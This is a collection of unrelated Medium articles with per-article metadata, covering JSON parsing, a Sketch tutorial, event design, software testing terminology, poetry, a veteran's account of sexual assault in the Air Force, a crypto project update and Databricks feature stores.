Parse the string using wither regex or tokens, add each key-value pair to a hashmap, and in the end recreate your JSON document with the duplicates removed. In this case though I would only remove key-value pairs that are exactly the same. This is not an ideal solution.
Or
Download the source code for org.json.JSONObject , and make a slight modification to the code to automatically leave out duplicates. This is a bit dangerous though. Another option is to create a modified version that simply validates and modifies.
The below code allows you to create a JSONObject with a string containing duplicate keys. Exceptions are thrown only when you have two key-values that have the same key, but different values. This was because I think it would be a problem to choose at random which of the two should be assigned (e.g. the latter value?). Of course this can be changed to work as you wish (e.g. keep last value for multiple keys).
The code above only works for the keys at the first level of JSONObject. To extend the functionality to avoid duplicates in the inner objects as well, the code has to be modified as follows:
The above code can be used as:
This solves your problem of handling duplicate keys.
I hope you enjoyed the article! Find more in my profile. Visit my portfolio here: https://harshal.one. | https://medium.com/@harshalparekh20696/modifying-org-json-to-handle-duplicate-keys-975bfffe2f5a | ['Harshal Parekh'] | 2019-06-25 05:31:15.595000+00:00 | ['Programming', 'Java', 'Json'] |
Sketch Tutorial. A step by step tutorial to discover… | After a bit more than a month using Sketch 3, I feel confident enough to share a part of my workflow in form of a tutorial. To do so, I’m going to be describing how to create the Colorful switch freebie I made as it uses a lot of interesting features Sketch has to offer and is not extremely long to do.
I want to keep this as simple but thorough as possible. This tutorial is designed for beginners so we’re going to take the time to describe a lot of things you may already know. Here’s the expected result:
Side note: I’m not all knowing and I definitely do not deliver the holy one and only method to design things so if you have feedback or inputs, please feel free to comment on either this Google+ or Facebook post. I’m always interested in learning things as well and it will be beneficial for everybody.
In case you get lost in the steps or if something is unclear there is a half way .sketch file you can download and the final source is also available.
Alright let’s get to it.
01_Installing Sketch
This one is a tough one☺. If you do not already own it, you can download a Free trial or directly buy it from the App Store. Install it and launch it.
When you see the prompt, do not open any specific template and just click “ok” to open a new document. You’ll see this.
02_creating an artboard
Artboards are “work areas” they can be as small as an icon or as big as you like. If you used Illustrator before, it’s the same thing.
Press “A” on your keyboard or hit the “Insert” button at the top left and select artboard(1). As you can see a lot of convenient sizes are now available on the right column. We’re not going to use that. Simply draw your artboard of any size on your canvas. Once this is done, go in you right panel, and under “size”, enter 400x300 (2). This freebies was intended to be a Dribbble shot from the start.
In you artboard/layer panel (left side), double click the “Artboard 1” label and rename it whatever you like. I hesitated between “Glørk the destroyer” or “Colorful switch”, I went for the latter as it was somehow more descriptive(3). | https://medium.com/google-design/sketch-tutorial_01-b76271a095e3 | ['Sebastien Gabriel'] | 2018-06-28 20:47:58.406000+00:00 | ['Sketch', 'How To', 'Design'] |
Staging a Social Community Experience | But the bigger question remains: How do you pull these core elements of scenes, exchanges, and materials together gracefully? How do you set up the interfaces such that everyone feels they can understand and maneuver through the various interaction pathways present in a conference? (by the way, who really are the customers you’re designing for? We’ll get to that in a moment!) And doing so while propagating a sense of community and the opportunity to learn, grow, build. There has to be a pragmatic sense of the takeaways to be shared back at the office to justify the expense, as mentioned earlier. After all, the budget might not be there next year!
Here’s what I’ve identified that needs to be correlated to achieve positive effects:
The participant journey (across multiple scenes and exchanges of content). Sure, it may sound trite, but any conference or workshop event is a journey of awareness, discovery, understanding, and self-realization for everyone involved. From that first tweet to the last feedback survey, consideration of that journey is vital to enabling a memorable, rewarding experience for everyone. The starting points, the thematic structure as a bridging of conversational moments all throughout, toward the final wrap… and also afterward! Remember the post-journey moments, of appreciatively and gently nudging to the next event, when you may spin up the journey all over again. How does it all flow together, from end to end, entry to exit, so that it feels intentional and balanced?
The points and paths. This is basically the arrangement of the agenda pieces, all those scenes and exchanges and content items…into a meaningful structure optimized for social engagement, knowledge transfer, and, frankly, other forms of human nourishment — which means great snacks and plenty of breaks for fresh air and coffee! Even some musical interludes to break up the frequencies of attention, or as palate cleansers between sessions to help shift mindsets a bit. Consider those transitional moments that guide the audience (and speakers) across the thresholds of topics and discussions, and how to facilitate such movements with a sense for the tempo and temperature.
Useful artifacts. Yes, this can refer to the swag bags, filled with fun albeit banal toys and shirts with logos. But this also refers to other artifacts that shape the arenas of social encounters: the posters, signage, name badges, schedules/brochures, and interstitial slides. And don’t forget book signings, whiteboards, job boards, tables with LEGOs, and stickies and markers for ideation! Some are take-home, while others serve as references along the exploration of pathways across scenes and exchanges.
The people. This is the whole crux of the matter, right? But who, really, is the audience you’re staging this event for, and who else is involved? Remember to consider the speakers (what do they stand to gain and strive to convey in their talks?); the sponsors (how do they want to get their name out and empower their brand?); the staff/volunteers (typically uncompensated, so what will they get out of it? How can you create an opportunity for volunteers to really contribute and serve as gracious hosts or leaders?); and of course the attendees — what are their expectations and goals? Never forget the cycles of feedback from the attendees and others, to sustain productive future iterations!
It is clearly a complex endeavor to stage the social-interaction encounters to achieve shared understanding and significant knowledge exchange, with valuable outcomes. But it is well worth the pressures and stresses of the challenge, if only to help everyone feel more illuminated about the topics and practices of design. So, the next time you’re at a buzzy UX conference or messy workshop, consider how multiple pieces came together for you — or didn’t! There is of course inevitably the “madness of the launch” of the conference or workshop itself — worthy of another essay on logistics and Murphy’s Law…but in the end it’s all about setting the stage for compelling conversation. To design such professional social events is to manifest a shared story, sparked by some question or problem, whereby you are intentionally shaping the conditions for crucial conversations. These should be about the essence of our practice, our arts of creating meaningful interfaces and interactions that may linger in the form of those golden nuggets each of us seek to pass along to our peers for our community of practice. | https://medium.com/the-designers-speakeasy/staging-a-social-community-experience-b632d58ae18f | ['Uday Gajendar'] | 2020-06-15 04:36:25.027000+00:00 | ['User Experience', 'UX', 'Conference Planning', 'Design', 'Event Planning'] |
“I am speaking. I am speaking.” | Kamala Harris demonstrated in the US vice presidential debate how to reclaim your time and still hold on to your values. Learning this skill from Esko Kilpi prevented me from quitting a leadership role early in my career.
Some years back, as I had just been chosen to an executive role for the first time, I was regularly in meetings where certain people talked over me and minimized my perspective. I ran an organization of hundreds of employees. But on a local government scale, it was still a small department and I was more than ten years younger than most of my colleagues. In one of these meetings, one of the attendees actually said out loud: “You should be grateful that we even invite you little guys to join us.”
I stuggled, even suffered, in these meetings. I had started my leadership training in volunteer and youth organizations, where motivation, recognition and encouragement arekey. Most of my professional experience was from cultural, research and social organizations where more than half of the employees were women. But I now I was knocking on the door of the Big Boys´s Club and rules of the game were different.
In many of these meetings some of the participants just totally bulldozed over me, ridiculed my stances, talked over me and started side conversations when I was speaking. More often than not, the chair of the meeting did not intervene. As I pointed out the pattern in a one-on-one with the chair, they told me that these people have always been that way.
I had a flashback from my time chairing The National Union of University Students in Finland in 2013 when it was very common that some middle-aged man in a senior position sat me town and condescendingly said something along these lines:
“Let me tell you how things really are, in the the real world. But hey, don´t worry, you´ll get it when you are older. But hey, it´s great you young people are so active. When I was your age,…”
I noticed I started getting anxious when entering the meetings. I became quiet and stopped joking around and creating a relaxed atmosphere. I was not joining a collegial meeting — no, I was going into battle. I started being cautious with opening my mouth. I started scribbling my remarks on paper before opening my mouth. My mouth dried up before I spoke.
At times I had just had enough. Enough of this shit. I felt I could never really get my point across as I was talked over. My emotions boiled over. My tone became tense and even aggressive. My tone was too harsh and I came across as petty or thin-skinned. Quite often I left the meetings thinking that maybe I am not cut out for this. That maybe you need to be someone older, tougher, and ruder than me to be a leader. Someone who does not give a shit about people´s feelings. I remember very clearly a Friday afternoon. I was totally worn out after one of these meetings. I walked home and thought:“Maybe I should just quit. My team deserves better. What was I thinking?”
Luckily I had agreed to close the week with a chat with Esko Kilpi, a true visionary on the future of work (You can read Esko´s articles here. Esko sadly passed away earlier this year.) Esko was one of those people who was committed to service and helping other people create great things. He had volunteered to meet me now and then and help me in finding my leadership style.
Esko poured me a glass of wine in his beautiful living room. Without him asking a single question, I poured out my imposter syndrome. He allowed me to talk without interruption. After I finished, Esko paused for a moment and said:”The fact that you have these feelings proves you are a leader fit for these times. But I understand that this is eating you from the inside.”
Esko suggested that I try the following:
I say out loud what´s happening:
”You are now speaking over me.” I ask them to change:
”Please do not interrupt me. I am speaking. I am sure the chair let you speak after me.” And the most important and the most difficult:
I remain calm, even friendly.
It sounds too simple to work. But naming the practice has the powerful impact that activates their brain and forces them to take a moral judgement on their own behaviour. I still remember how scary it was to use it for the first time. But it worked. It worked immediately. And as strange as it sounds, I felt that the people who had spoken over me respected me more after these interventions.
Kamala Harris shows in this debate how to do this. It is clear that she has had decades of experience of being belittled and misjudged. Whether you agree on policy with her, I highly recommend watching this. I am nowhere close to her ninja master level on this strategy. But hey, I am not not running to be the vice president of the United States.
I am currently a 40-something white man in an executive director position. When I get excited about something, I do have a bad habit of interrupting people.
So this is an open invitation:
Please use the Kamala Harris Strategy on me if I talk over you. | https://medium.com/@tommilaitio/i-am-speaking-i-am-speaking-3539cab948a4 | ['Tommi Laitio'] | 2020-10-10 08:55:56.605000+00:00 | ['Leadership Skills', 'Leadership Development', 'Esko Kilpi', 'Kamala Harris', 'Gender Equality'] |
The Truth About Functional Testing | I caused a bit of a stir on LinkedIn over the weekend.
How, might you ask?
By sharing a hard truth about functional testing.
I often post my thoughts on the testing and DevOps industry on LinkedIn. There is a great community of industry leaders on the platform, and we often have insightful discussions on the latest technology and trends of the day.
However, one recent LinkedIn discussion on functional testing got much more heated than I expected.
Functional Testing: A Contested Definition
On June 12, I wrote the following in response to an article about functional testing from Guru99, a popular resource in the world of software testing:
“In my humble opinion, regression testing or Sanity and Smoke testing are not the only types of functional testing. Teams should and are including performance testing, unit, and API testing inside their regressions and these are examples of nonfunctional testing.
I think that the definition of functional testing…is not accurate since it states that regression is functional testing while performance is nonfunctional, when…most recessions are and should include both types.”
Functional testing should not just be limited to sanity, regression, and smoke testing. To do so is very misleading and takes away from what really should matter to testers.
Instead, any working definition of functional testing should focus on the process of validating the functionality of a software application. There shouldn’t be limits to the various functionalities under test.
I put this out there to other testers in the industry to give their thoughts, and wow, did they deliver. Here are some of my favorite insights throughout this discussion that lead to a much more “truthful” understanding of functional testing.
Test Type vs. Test Scope in Functional Testing
One important point made during the discussion was that the Guru99 article completely blurred the distinction between the test ‘scope’ and a testing ‘type.’ While testing types can range from accessibility testing to stress testing, the scope refers to whether there are unit, integration, or systems tests.
As Eliezer Shindler of F5 noted:
“It’s completely feasible to have [a] unit test that is a performance test.”
He also pointed out his frustration that there are so many mixed up concepts out there, that they actually take away from the one goal of testing: ensuring the quality of the product.
Scope and type are not the same things. While not common, there are situations where you may require performance tests (type) at the unit level (scope). When you mix up important terminology, it makes it very difficult to build a sound and effective strategy for functional testing.
Functional vs. Nonfunctional Testing: Is It Necessary?
Others asked if it’s even necessary to make a distinction between functional and nonfunctional testing at all.
Paul Bruce suggested (and I agree) that the idea of functional vs. nonfunctional testing no longer makes sense. Instead of conflating terminology, testers should realize that each testing type has different tactics and goals.
Plus, there are ways to combine these testing types constructively, whether it’s functional regression testing or API performance testing.
Is Nonfunctional Testing Even A Thing?
Some commented on the fact that the term “nonfunctional testing” is a complete misnomer. Michael Bolton humorously compared nonfunctional testing to other terms that would make you scratch your head, such as ‘non-physical science’ or ‘non-edible food.’
Instead, he asserted that it makes more sense to refer to testing in the affirmative. In his LinkedIn comment, he suggested the following:
“Think of X testing as ‘testing focused on risk related to X.’ Functional testing focuses on the risk that functions in the product will have errors; performance testing focuses on performance-related risk; regression testing is testing focused on risk that the quality will regress (get worse) after a change. Every test focused on some risk also provides some peripheral, incidental, or accidental coverage of other kinds of risk, if we bother to pay attention.”
My colleague Jim Hazen also had important insights on the term “nonfunctional testing” (he was rightfully mad that I didn’t tag him in the original LinkedIn post, so I’m trying my best to make up for it here). He agrees that it doesn’t make sense to use the term “nonfunctional” to describe the work necessary to validate software and system readiness.
Instead, Hazen reminded everyone in the discussion that anything done in testing is either proving, disproving, or validating a hypothesis. For example, he noted that his performance tests check whether a system behaves according to some expected result. Therefore, performance testing is a type of “functional” testing.
Which leads me to the last (but not least) insight I am going to share from this LinkedIn thread:
Bottom Line: Testing Reqs Are Important, Test Labels Are Not
Alan Page summed up this conversation well by noting that we should not get bogged down too much by labels. Instead, he suggests that testers direct their energies toward identifying and exploring risk or failure points according to their specific context.
I wholeheartedly agree with this concept and encourage testers to build a testing strategy based on what is needed for your specific situation, not labels so you can check a proverbial ‘box.’
But as the conversation also showed, our industry publications need to do better when giving testers proper guidance.
Enjoyed the article? Follow me on Medium to stay up to date on all things test automation and application development. | https://faun.pub/the-truth-about-functional-testing-66de92404c7f | ['Eran Kinsbruner'] | 2021-06-22 20:13:05.104000+00:00 | ['Test Automation', 'Application Testing', 'Functional Testing', 'Software Testing', 'DevOps'] |
When I was Young | I can’t remember
The last time,
When I went to a Carnival
I guess,
I was about 12
Or maybe 13
But I still had a vivid memory
Of all those lights
And my younger self,
With my loving father
And my younger brother,
Riding all those rides
All the fun
That we had
And all the joy
That we relished
I still had images in my mind;
Life was as beautiful as a dream
But it’s not about the carnival
It’s about the time
When I was young
And had dreams
— bigger than life —
Of conquering the world
And reigning supreme
That’s something
I really miss today;
Being a child,
Stupid and naive
Longing for things
Without a purpose and a derive
Like most of you,
I long for those days;
Playing in dirt
With no worries to cite
Life was simple
Yet bright | https://medium.com/midnight-thoughts/when-i-was-young-e141e152ce83 | ['Muhammad Zunair'] | 2020-07-06 09:52:10.514000+00:00 | ['Childhood', 'Carnival', 'Poetry', 'Life', 'Prompt'] |
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Meural WiFi Photo Frame 15.6" 智能電子相架 (MC315) 基本規格：
● 尺寸
寬：16in (408 mm)
高：10 in (259 mm)
深：1.68 in (42.4 mm)
重量：2.9 lb or (1.3kg)
● 顯示
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-傳感器：方向感測/光線感測/電源感測
-WiFi：WiFi 802.11a/b/g/n/ac (2.4GHz and 5GHz)
● 電力
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● 包裝內含：
- Meural WiFi Photo Frame
- Power adapter (6 ft. cord)
- Cleaning cloth
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- Wall anchors & screws (drywall)
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- Quick start guide | https://medium.com/@anlander_store/%E6%96%B0%E5%93%81%E6%8E%A8%E4%BB%8B-meural-wifi-photo-frame-15-6-%E6%99%BA%E8%83%BD%E9%9B%BB%E5%AD%90%E7%9B%B8%E6%9E%B6-mc315-8d500bf04a80 | [] | 2021-03-10 07:14:42.019000+00:00 | ['Sales', 'Deals', 'Hk', 'Hongkong', 'Shopping'] |
appreciating the flowers in your throat | appreciating the flowers in your throat
don’t be gentle to that monster. he will grin after you kiss him and you will fall like the fool you are. he will show you his tears and you’ll peel off your skin to put band-aids on his nightmares. he doesn’t have teeth. he has fangs. and he is here to puncture your neck, your happiness, your connection with the world. he’ll leave you half-eaten, like a rotten apple someone threw out on last tuesday. he’ll teach you all the reasons why loving him is not wrong, one kiss after another. and you’ll be there, air-headed, dizzied product of too much dreaming. he’ll pull you close and you’ll tug at his belt loops, and before you know it, you’ll be loving the darkness of his soul more than the darkness of your skin. you’ll be fighting for him, because you know he is right. because you know you are too far gone. because you know you can never think so much about anyone’s chin the way you think about his. and you’ll think of his blue jeans as you travel by bus, and you’ll remember him everytime you see two people collapsing in their love, and you’ll want him more and more when your pain pierces you without him in your life. and when he leaves flowers in your throat, you’ll choke, but you know anything else would be worthless. what will you do breathing anyway?so you would agree. you would tell him he can lash out at you because the world did him wrong. and in turn, he’ll tuck your hair behind your ear, and in return, he’ll sing you your favorite songs, and in return, he’ll be your better half from every tragic love story. | https://medium.com/@harshitavyas252/appreciating-the-flowers-in-your-throat-32d84baf14f0 | ['Harshita', 'Bluestreetoptimism'] | 2020-12-19 09:26:24.084000+00:00 | ['Short Fiction', 'Creative Writing', 'Short Read', 'Romance', 'Abstract'] |
The Most Powerful Natural Resources for Pregnancy and Birth | Perhaps you just found out and are feeling anxious about what’s to come…
Maybe you’re pregnant after a loss and excited but feeling more cautious than you’d like…
Or perhaps you’ve begun planning to give birth in the way you desire and are looking for the BEST …
Whatever your circumstances, KindNest is here to take the guesswork out of locating the most important resources for preparing to have the pregnancy, birth and transition to parenthood YOU desire.
Hi. I’m Sarah Denio.
My personal experience with pregnancy led me on an AMAZING journey of self-discovery — no, NOT in a Hallmark movie sort-of way, but it has truly been remarkable in that I learned A TON more than I would ever have expected — about myself and how my mind and body are innately exquisitely designed! (This is a term I now borrow from our nationally-renowned birth educator, Tisha Graham, because it summarizes so well what I’ve with my own eyes!) I was able to heal and become pregnant again after loss, give birth to two children (one via c-section and the other by unmedicated VBAC), and fully embrace my transition to motherhood (sleepless nights and all). My journey through all of this was the impetus for KindNest, which has now supported hundreds of individuals and couples with simple, natural resources for pregnancy, healing after loss, trying to conceive, and parenting, since opening in 2019.
We have gathered in one place the most impactful resources for nurturing yourself, your connection to your baby in utero, and preparing for what’s to come in the way YOU desire.
KindNest offers simple options, ranging from free publications and recordings to paid online self-guided tutorials, live virtual workshops, and in-person or virtual coaching and Reiki sessions at various price-points.
Here is a summary of offerings important for those who are pregnant:
FREE
PAID
I hope you’ll shoot me a message with questions or comments — I’d love to hear from you!
x Sarah | https://medium.com/@kindnest/the-most-powerful-natural-resources-for-pregnancy-birth-feafbe541ae4 | ['Sarah Denio'] | 2020-12-13 18:10:35.967000+00:00 | ['Childbirth', 'Holistic Health', 'Birth', 'Childbirth Classes', 'Pregnancy'] |
Rape in the Air Force: My Story | Me in 2007 with my AF Veteran grandfather, James Poda
I was raped when I was in the Air Force. I was raped. The sentence still makes me feel disgusting and dirty. In fact, it took me almost five years to acknowledge what happened to me was actually a rape — mostly because I blamed myself. I was conditioned to blame myself.
The truth is, I cannot remember much of the night it happened, but I do remember enough to know what happened was not ok. It was December 31, 2007 in San Angelo, Texas — New Year’s Eve. I went to a bar to celebrate with two other women in my dorm. Lots of fellow Air Force students showed up and people from our little group we called the Brown Ropes. Being a Brown Rope was a fraternity inside the larger fraternity of the military. While the Brown Ropes were supposed to only contain new airmen, like myself, there were a few Staff Sergeants (SSgt) that were invited into the group. (On a side note, Brown Ropes were not an official org within the Air Force.) These were men we thought — I thought — we could trust.
That New Year’s Eve I was drinking heavily and knew to have a plan for a ride back to base. Drunk driving will get you kicked out immediately (cannot say the same for assaults). One of the SSgt’s was at the bar and claimed to be a designated driver for everyone. I decided I would save money and let him drive me, after all, I knew this guy and he had never been anything but respectful towards me. When we were going to leave he talked me into going to his apartment and napping on the couch while he went back to the bar. He told me everyone was coming to his house to continue the celebrations when the bar closed. I remember being in the bar, finishing a drink as he smiled at me. I ended up leaving before everyone since I was not feeling well. The truth is, I don’t remember getting to his house. I still do not remember how I got back to the dorms. I sometimes wonder if I had been drugged because I remember leaving the bar, but I do not remember getting to his apartment or leaving it. Only the brief moment of coming to and seeing him on top of me, saying disgusting things.
The sad thing is, this man is now a father of all girls. I wonder if his outlook has changed — if he would be ok with what he did to me, happening to his daughters? It’s something that makes me afraid for them—for girls that are not mine.
To this day, I wish I could remember everything. I spent a lot of time blaming myself. If I would not have had that tank top on it would not have happened. If I were not so flirty he would not have done that (I was never flirty with him). If I did not drink he would not have done that. I was a woman who was exploring my sexuality which lead to many consensual encounters with men, so the thought to report never occurred to me, because I figured I would be accused of being a slut. I convinced myself it was all my fault and decided it could not be rape.
The fact is, it was. I was taken advantage of by a person who I thought would look out for me. I trusted a sober man to be my DD and get me somewhere safe — instead I was raped. I did not get to make the choice whether or not I wanted to have sex with this guy—it was made for me. I was ashamed. I stopped partying for the rest of the time I was in tech school and became somewhat reclusive until I left San Angelo.
When I was new to the Air Force, the Sexual Assault Prevention Program (SAPR) was also relatively new, however, everyone knew not to actually go and report a sexual assault. There were tons of horror stories, much like the horror stories troops hear about going to mental health for help. The restricted and unrestricted reporting system was confusing — they always made reporting sound ominous and like there would be some type of unspoken consequence — like “Here’s our SAPR program. ::wink wink:: Use it at your own risk.” Men I would work with would complain about how they seemed to be the targets of the briefings. They felt singled out. Because of the extra training, resentment flourished within the ranks among men. Depending on your Commander, you also knew what kind of climate you were working in and whether or not it would be a truly viable option if there were any assault. Most women opted to just forget, but we never really forget.
Today as I watched Nora O’Donnell’s special on rape in the Armed Forces, it made me think about my own experience. It made me think about the women who were brave enough to come forward, albeit futilely, without going through that period of denial. All the women I had met along my journey who had similar experiences, but kept to themselves — everyone trying to forget. It made me think of how we talk about people in the military. How we “love our troops.” The sad truth is, we only love them as long as they serve their purpose. We love the idea of our military men and women, we do not actually love them though.
We start off dehumanizing people right from the start. You are just a body. When deployments are filled — they ask for bodies. When people need to rapidly deploy we need boots on the ground. When something needs delivering — they ask for heavies. The list goes on and on. People in the military are objects. Objects cannot have feelings. Objects cannot object. Objects cannot be raped. Objects are expendable and when objects cause disruption and disrepair in a unit, they can readily be replaced with an object that does not make a fuss. Many commanders, not all, are more invested in their careers than making the actual military a place where people can excel. You cannot have morale or cohesion when one person has been sexually assaulted and then harassed or retaliated against for trying to protect themselves. What you can have are suicides, turmoil, and the Commander’s promotion despite their blatant denial and refusal to help victims in favor of their career.
The only option I see, since no one actually has any intention of protecting victims, is for those victims to personally sue each person individually in a court of law, especially if they have evidence of the assault and retaliation. While members cannot sue the specific department, there is nothing that says they cannot bring individuals into Civil Court and sue for damages. If people are going to be nonchalant about ruining someone’s life, victims should be nonchalant in the dogged pursuit of protecting themselves and their livelihood. For me, just getting a ruling in my favor and having it acknowledged legally, in court, that my claim was valid would be enough for me. Like Elie Wiesel said, “There may be times when we are powerless to prevent injustice, but there must never be a time when we fail to protest.” Victims should not be afraid to make waves, even if it seems like the hard road. Making waves and rocking the boat is the only way to get substantial change. That is why I am deciding to tell my story. | https://medium.com/@linsayculver/rape-in-the-air-force-my-story-ddebecc5f5ba | ['Linsay Culver'] | 2020-11-25 10:13:57.436000+00:00 | ['Rape', 'Sexual Assault', 'Air Force', 'Military'] |
When I think about Christmas movies, I think of Home Alone. | Story
Young Kevin McCallister is left at home when his family go on a trip to Paris and must defend his home from a home invasion.
The story is absolutely hilarious. While I was watching this movie I said out loud, “This is the best movie about neglectful parents ever.” And I stand by it. The fact that this boy’s parents LEFT HIM AND FLEW TO PARIS is absolutely astounding to me in a horrifying hilarious way, but hey, we got a really entertaining movie.
Macaulay Culkin CARRIES this movie. He has boundless charisma and because of that the scenes where he is alone work just as well as the scenes where he is acting alongside other people. In fact, you miss him when he isn’t on screen. Whenever the location switches to his family in Paris, your mind almost instantly pivots back to Kevin and what he is doing.
The fact that this movie as Goodfellas came out two months before this one, is information I did not know until I typed this and that is the most shocking thing I have read this week., YOU MEAN TO TELL ME THAT THE SAME MAN WHO WAS ABSOLUTELY TERRYIGN IN GOODFELLAS, HAD HIS ASS HANDED HIM IN THIS MOVIE?? Mad ting.
Writing/Direction
The movie is written in a way that makes it plausible for an 8-year old to come up with such elaborate tricks and schemes. It’s a little cartoonish and unrealistic at times but that is exactly what this kind of movie is supposed to give us. And I have to say that I forgot that most of the slapstick comedy that the film is known for, happens in the last 30 minutes of the film. And that is my one gripe, it takes to long to get to the actual home invasion which is what a lot of us came to the movie for. However, I understand that the film has to set up the situation. And besides, if it gave us that at the very beginning, what else would have been left?
John Huges crafted a film filled with different types of moments, sad ones, funny ones, heartwarming ones and hopeful ones. And they all come together without compromising the tone of the movie.
CGI/Set Design
There is little to no CGI in this movie and it makes everything all the better. You actually had Macaulay Culkin, Joe Pesci and Daniel Stern in these situations (no joke the thought of that made me laugh) and while the actors were not really hurt (for the most part) the fact that they were actually surrounded by this much chaos and confusion in real-time in interesting in and of itself.
Score/Soundtrack
The score is the definition of jolly. There are so many popular Christmas songs and I can guarantee that you will sing along to at least one of them while you watch this movie. ‘White Christmas’, to ‘Have Yourself a Merry Little Christmas’. The songs are the kind you associate with Christmas movies and the season and a whole.
Overall Thoughts
I first watched Home Alone way back in the early 2000s and thought it was absolutely hilarious. And it’s good to know that I still feel the same over 10 years later. This is probably THE quintessential Christmas movie for me (more so than Elf.) My siblings and I watched it countless times throughout the years and we still make references to it now. It has heart, comedy and leaves you with that warm fuzzy feeling. Which is exactly what I want in my Christmas movies. | https://medium.com/@thecinematicaficionado/when-i-think-about-christmas-movies-i-think-of-home-alone-96c229f76788 | ['The Cinematic Aficionado'] | 2020-12-17 23:49:21.558000+00:00 | ['Film', 'Home Alone', 'Christmas Movies', 'Film Reviews', 'Christmas'] |
Nasz uregulowany plan DeFi i dlaczego jest on ważny? | Learn more. Medium is an open platform where 170 million readers come to find insightful and dynamic thinking. Here, expert and undiscovered voices alike dive into the heart of any topic and bring new ideas to the surface. Learn more
Make Medium yours. Follow the writers, publications, and topics that matter to you, and you’ll see them on your homepage and in your inbox. Explore | https://medium.com/confio/nasz-uregulowany-plan-defi-i-dlaczego-jest-on-wa%C5%BCny-f29c634aafe8 | ['Misang Ryu'] | 2020-12-21 06:08:27.413000+00:00 | ['Defi', 'Proof Of Engagement', 'Smart Contracts', 'Blockchain', 'Rozporządzenie'] |
Weekly Project Report : Week 23–2018 | Welcome to the Education Ecosystem Weekly Report. Here we will recap some of the things we’ve been working on recently. We will also provide updates on some of the most important upcoming things related to our project.
Product User Interface
We’d like to thank everyone in our community for the feedback they provided after seeing the new UX preview. We’ve taken this feedback into consideration and are creating the final designs for the pages.
Hiring & Recruitment
We’ve hired two Django engineers who will join the engineering team in Kiev, an SEO Manager, a Technical Recruiting Manager and an E-Learning Curriculum Designer who we’ll have an article about soon.
We’re also in the final stages of the hiring process for our Product Manager and LEDU Token PR & Marketing Lead — USA & Europe roles. We’re excited about the vast experience which these new hires will be bringing to the ecosystem.
Events in Asia
Our team in Asia was invited by the Zhongguancun Blockchain Industry Alliance to attend the Blockchain+Fintech Industry Event in Foshan. The event was a great opportunity for them to meet with blockchain projects in China and build partnerships. More details about the event can be found in our LEDU Chinese section here.
Also, this week is GBLS in Hangzhou on June 6th. It is one of the largest and most anticipated blockchain conferences in China with an estimated 20,000 attendees and as we mentioned previously we will have a booth at the event.
Blockchain Union
Aside from attending the recent conference, our team was also invited to join the Zhongguancun Blockchain Industry Union. It is the only blockchain association that currently has a corporate registration certificate in the blockchain industry. Its members include Tsinghua University, Remin University of China, China Internet Information Centre and blockchain companies like LoreChain, Eco-chain and more. More details about the union will be revealed soon.
Get LEDU Token
Get LEDU coins now with ETH or BTC on Livecoin, Mercatox and Exrates. Read more about LEDU coins on our project page and ask any questions you might have in our Telegram group chat. | https://medium.com/ledu-tokens/weekly-project-report-week-23-2018-6426c3d2e449 | ['Dr. Michael J. Garbade'] | 2018-07-28 19:33:16.880000+00:00 | ['Ethereum', 'Cryptocurrency', 'Crypto', 'Bitcoin', 'Blockchain'] |
What is a Feature Store for ML? | Feature Stores have become the key piece of data infrastructure for machine learning platforms. They manage the whole lifecycle of features: from training different models to providing low-latency access to features by online-applications for model inference. This article introduces the Hopsworks Feature Store for Databricks, and how it can accelerate and govern your model development and operations on Databricks.
What is a Feature Store?
The Feature Store for machine learning is a feature computation and storage service that enables features to be registered, discovered, and used both as part of ML pipelines as well as by online applications for model inferencing. Feature Stores are typically required to store both large volumes of feature data and provide low latency access to features for online applications. As such, they are typically implemented as a dual-database system: a low latency online feature store (typically a key-value store or real-time database) and a scale-out SQL database to store large volumes of feature data for training and batch applications. The online feature store enables online applications to enrich feature vectors with near real-time feature data before performing inference requests. The offline feature store can store large volumes of feature data that is used to create train/test data for model development or by batch applications for model scoring. The Feature Store solves the following problems in ML pipelines:
reuse of feature pipelines by sharing features between teams/projects;
enables the serving of features at scale and with low latency for online applications;
ensures the consistency of features between training and serving — features are engineered once and can be cached in both the Online and Offline Feature Stores;
ensures point-in-time correctness for features — when a prediction was made and an outcome arrives later, we need to be able to query the values of different features at a given point in time in the past.
The Feature Store for ML consists of both an Online and Offline database and Databricks can be used to transform raw data from backend systems into engineered features cached in the online and offline stores. Those features are made available to online and batch applications for inferencing and for creating train/test data for model training.
Engineer Features in Databricks, publish to the Feature Store
The process for ingesting and featurizing new data is separate from the process for training models using features that come from potentially many different sources. That is, there are often differences in the cadence for feature engineering compared to the cadence for model training. Some features may be updated every few seconds, while others are updated every few months. Models, on the other hand, can be trained on demand, regularly (every day or every week, for example), or when monitoring shows a model’s performance has degraded. Feature engineering pipelines are typically triggered at regular intervals when new data arrives or on-demand when source code is pushed to git because changes were made in how features are engineered.
Feature pipelines have a natural cadence for each data source, and the cached features can be reused by many downstream model training pipelines. Feature Pipelines can be developed in Spark or Pandas applications that are run on Databricks. They can be combined with data validation libraries like Deequ to ensure feature data is correct and complete.
The feature store enables feature pipelines to cache feature data for use by many downstream model training pipelines, reducing the time to create/backfill features. Groups of features are often computed together and have their own natural ingestion cadence, see figure above. Real-time features may be updated in the online feature store every few seconds using a streaming application, while batch features could be updated hourly, daily, weekly, or monthly.
In practice, feature pipelines are data pipelines, where the output is cleaned, validated, featurized data. As there are typically no guarantees on the correctness of the incoming data, input data must be validated and any missing values must be handled (often by either imputing them or ignoring them). One popular framework for data validation with Spark is AWS Deequ, as they allow you to extend traditional schema-based support for validating data (e.g., this column should contain integers) with data validation rules for numerical or categorical values. For example, while a schema ensures that a numerical feature is of type float, additional validation rules are needed to ensure those floats lie within an expected range. You can also check to ensure a columns’ values are unique, not null, that its descriptive statistics are within certain ranges. Validated data is then transformed into numeric and categorical features that are then cached in the feature store, and subsequently used both to train models and for batch/online model inferencing.
import hsfs
# “prod” is the production feature store conn = hsfs.connection(host=”ea2.aws.hopsworks.ai”, project=”prod”)
featurestore = conn.get_feature_store() # read raw data and use Spark to engineer features
raw_data_df = spark.read.parquet(‘/parquet_partitioned’)
polynomial_features = raw_data_df.map(lambda x: x²) # Features computed together in a DataFrames are in the same feature group
fg = featurestore.create_feature_group(name=’fg_revenue’,
version=1,
type=’offline’) fg.create(polynomial_features)
g.compute_statistics()
In this code snippet, we connect to the Hopsworks Feature Store, read some raw data into a DataFrame from a parquet file, and transform the data into polynomial features. Then, we create a feature group, it’s version is ‘1’ and it is only to be stored in the ‘offline’ feature store. Finally, we ingest our new polynomial_dataframe into the feature group, and compute statistics over the feature group that are also stored in the Hopsworks Feature Store. Note that Pandas DataFrames are supported as well as Spark DataFrames, and there are both Python and Scala/Java APIs.
